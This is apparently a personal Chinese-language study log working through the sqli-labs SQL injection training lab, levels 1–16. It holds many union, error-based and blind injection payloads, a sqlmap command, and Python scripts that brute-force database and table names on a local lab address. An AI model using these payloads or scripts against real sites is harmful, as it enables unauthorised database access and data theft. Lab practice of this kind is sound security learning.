sqli-libs笔记Page-1(Basic Challenges)
0X00:前言
sqli-labs是一个学习SQL注入的开源平台,共有75中不同类型的注入。源码可到github上搜索sqli-libs找到
0X01:Page-1基础挑战
0X02:每一关的payloads
LV1:
id=1'
id=1' order by 3--
id=-1' union select 1,2,3-- 注:-1
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- //列名
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'-- //表users中的列名
id=-1' union select 1,username,password from users where id=1--
LV2:
id=1'
上一题是 near '1' limit 0,1' at line 1
第二题是数字型注入,没有单引号,payload与1相同
LV3:
id=1'
id=1') or 1=1--
id=1') order by 3--
id=-1') union select 1,2,3-- //注-1
id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--
payload和上面相同
LV4:
id=1' //没反应
id=1" //
id=1")
猜测:select * from users where id = ("input") LIMIT 0,1;
id=1") order by 3--
payload和上面相同
LV5:
?id=1'
猜测:select * from uesrs where id = 'input' LIMIT 0,1
?id=1' and '1'='1
有结果:
?id=1' and '1'='2
没有结果:
猜测是bool盲注,我把源码改了-_-返回you are in.....改为YES!!! 没有结果改为NO!!!
?id=1' and length(database())=8-- //得到数据库长度
LV5和LV6都是盲注,lv5是单引号,lv6是双引号
LV5:还可以用报错注入
?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+
LV7:dump into outfile
使用文件导出
?id=1')) and length(database())=8-- //发现可以用盲注
但是题目的意思是文件
LV8:时间、布尔盲注
?id=1' and payloads
LV9:时间盲注
LV10:时间盲注
LV11:报错注入
paylaods:username和password都存在注入
payloads:
- uname=1&passwd=1'
出现报错
数据库中执行SQL时,因为多了一个单引号而报错,并且程序直接将错误信息输出到了页面,所以此处可以利用报错注入获取数据。报错注入有多种格式,此处利用函数updatexml()
- uname=1passwd=1' union select 1,2#(发现有两列显示错误)
- 数据库:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#
- 数据表:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#
- 查字段:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emails' limit 0,1),0x7e),1)#
- 字段值:uname=1&passwd=1' union select 1,updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)#
可以改变limit 的参数查看不同的值,也可以用python爆破处所有值
其他报错注入:一次报错,显示所有的信息,不需要limit,每次只能一行信息
uname=1&passwd=
1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
uname=1&passwd=
1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#
uname=1&passwd=1' union Select count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a#
返回结果:
详细请看这里:
LV12:报错注入
流程与11相同,变化:1")
LV13:报错注入或者盲注
有报错注入,可选择盲注
uname=1%27&passwd=1') or 1=1#
uname=1&passwd=1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
盲注:uname=1&passwd=1') or ascii(substr((database()),1,1))>100#
想写脚本的,发现页面返回都是一样的,不知道时间盲注可不可以感觉可以,但是不想弄-_-\-_-
还可以用sqlmap试一下,发现新技能
(1)用burp抓包POST数据,将数据保存到13.txt中
(2)新认识sqlmap的参数 -technique这个参数可以指定sqlmap使用探测技术,默认情况下会使用所有方式
- B: Boolean-based blind SQL injection(布尔型注入)
- E: Error-based SQL injection(报错型注入)
- U: UNION query SQL injection(可联合查询注入)
- S: Stacked queries SQL injection(可多语句查询注入)
- T: Time-based blind SQL injection(基于时间延迟注入)
(3)payload:
python2 sqlmap.py -r "13.txt" --technique E --batch -v 3 --current-db
不过试了一下python2 sqlmap.py --current-db也有答案-_-
LV14:与13基本相同用双引号闭合 1"
LV15:布尔注入,时间盲注
uname=1&passwd=1' or 1=1#
成功登录,试了上面题目的报错注入,都没有报错,题目也提示布尔盲注和时间盲注
uname=1&passwd=1' or left(database(),1)='s'#
还是那个问题,这要都用手注,那岂不是很多。写脚本布尔盲注又不知道怎么分类(返回文本中没有对错,登录成功失败是图片啊,可能我技术不够)。
!!!就在写上句话的时候我看到了两个图片名字不一样哈哈哈哈
下面是获得数据库名和数据表名的脚本,但是一次只能获取一个数据表,获取其他数据表需要改limit后面的参数
#coding=utf-8
import requests
import string
url = 'http://192.168.188.147/sqli-labs/Less-15/'
strmes = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
r=requests.session()
def getdb():
dbname = ''
for i in range(10):
for j in strmes:
payload = "1' or substr(database(),{0},1)='{1}'#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
s = r.post(url,data)
if "flag" in s.text:
dbname += j
print(dbname)
break
def gettable():
tablename=''
for i in range(10):
for j in strmes:
payload = "1' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{0},1)='{1}'#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
s = r.post(url,data)
if "flag" in s.text:
tablename += j
print(tablename)
break
getdb()
gettable()
时间盲注:把布尔盲注的代码差不多,存在的问题也是一次只能查询一个数据表
#coding=utf-8
import requests
import string
url = 'http://192.168.188.147/sqli-labs/Less-15/'
strmes = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
r=requests.session() def getdb():
dbname = ''
for i in range(10):
for j in strmes:
payload = "1' or if(substr(database(),{0},1)='{1}',sleep(5),1)#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
try:
s = r.post(url,data,timeout=4)
except:
dbname += j
print(dbname)
break def gettable():
tablename=''
for i in range(10):
for j in strmes:
payload = "1' or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{0},1)='{1}',sleep(5),1)#".format(str(i),j)
data = {
"uname": "",
"passwd": payload
}
try:
s = r.post(url,data,timeout=4)
except:
tablename += j
print(tablename)
break
#getdb()
gettable()
LV16:双引号闭合
注入类型与LV15相同
uname=1&passwd=1") or 1=1#
LV17:
0Xff:总结
未完待续,11题报错注入还没完成,这个报错注入必须要搞定;第七题文件问题还没搞懂;还剩6题没做;还有其他难度。自己效率还是太低了(2019-08-16-19:26:05)
sqli-libs笔记Page-1(Basic Challenges)的更多相关文章
- [IR课程笔记]Page Rank
主要目的: 在网络信息检索中,对每个文档的重要性作出评价. Basic Idea: 如果有许多网页链接到某一个网页,那么这个网页比较重要. 如果某个网页被一个权重较大的网页链接,那么这个网页比较重要. ...
- Xamarin 学习笔记 - Page(页面)
本文翻译自CodeProject文章:https://www.codeproject.com/Articles/1226447/Xamarin-Notes-Xamarin-Forms-Pages 转载 ...
- Spring Security笔记:HTTP Basic 认证
在第一节 Spring Security笔记:Hello World 的基础上,只要把Spring-Security.xml里改一个位置 <http auto-config="true ...
- Vaadin学习笔记——Page、UI和View在用法上的区别
前言 在Vaadin技术框架中会出现三种不同的类,用于架构Web应用.它们分别是:Page.UI.View.本文将对这三者从使用角度进行比较,试图分析三者的异同.本文完全原创,我可不是在强调版权,我只 ...
- SQLi-LABS Page-1(Basic Challenges) Less11-Less22
Less-11 GET - Blind - Time based - double quotes http://10.10.202.112/sqli/Less-11/ 尝试登录: username:a ...
- SQLi-LABS Page-1(Basic Challenges) Less5-Less10
Less5 GET - Double Injection - Single Quotes http://10.10.202.112/sqli/Less-5?id=1 http://10.10.202. ...
- SQLi-LABS Page-1(Basic Challenges) Less1-Less4
Less-1 GET - Error based - Single quotes - Stri http://10.10.202.112/sqli/Less-1?id=1 http://10.10.2 ...
- 【靶场练习_sqli-labs】SQLi-LABS Page-1(Basic Challenges)
GET篇 Less-1: 1.用order by得出待查表里有三个字段 http://192.168.40.165/sqli-labs-master/Less-1/?id=1' order by 3 ...
- Go xmas2020 学习笔记 00-03、Basic Types
00-02-Hello Example. 目录结构. 不一样的Hello World. 巧妙的单元测试. 传入os.Args切片. go mod init. 03-Basic Types. 变量类型与 ...
随机推荐
- Python 函数小程序初解
目录 作业 ==程序代码自上往下运行,建议自上而下的完成下列任务== 作业 文件a.txt内容:每一行内容分别为商品名字,价钱,个数,求出本次购物花费的总钱数 sum = 0 f = open('a. ...
- 05-人脸识别-FaceNet的感性认识
源码链接:https://github.com/davidsandberg/facenet 论文链接:https://arxiv.org/pdf/1503.03832.pdf B站大神视频解读论文:h ...
- 莫烦TensorFlow_06 plot可视化
import tensorflow as tf import numpy as np import matplotlib.pyplot as plt def add_layer(inputs, in_ ...
- <binary search> 154 162
154. Find Minimum in Rotated Sorted Array II 当数组中存在大量的重复数字时,就会破坏二分查找法的机制,将无法取得 O(lgn) 的时间复杂度,又将会回到简单 ...
- [LeetCode] 864. Shortest Path to Get All Keys 获得所有钥匙的最短路径
We are given a 2-dimensional grid. "." is an empty cell, "#" is a wall, "@& ...
- [LeetCode] 39. Combination Sum 组合之和
Given a set of candidate numbers (candidates) (without duplicates) and a target number (target), fin ...
- Qt 调试信息、打印信息、输出到文本
void debug_msg(QVariant msg) { ; QFile file("debug_msg.txt"); ) { i = ; file.open(QFile::W ...
- SpringBoot集成Spring Security(7)——认证流程
文章目录 一.认证流程 二.多个请求共享认证信息 三.获取用户认证信息 在前面的六章中,介绍了 Spring Security 的基础使用,在继续深入向下的学习前,有必要理解清楚 Spring Sec ...
- (98)address already in use: ah00072: make_sock: could not bind to address 0.0.0.0:80
(98)address already in use: ah00072: make_sock: could not bind to address 0.0.0.0:80 问题描述: 80端口已经被占用 ...
- SourceTree 免登录
SourceTree 是 Windows 和Mac OS X 下免费的 Git 和 Hg 客户端,拥有可视化界面,容易上手操作.同时它也是Mercurial和Subversion版本控制系统工具.支持 ...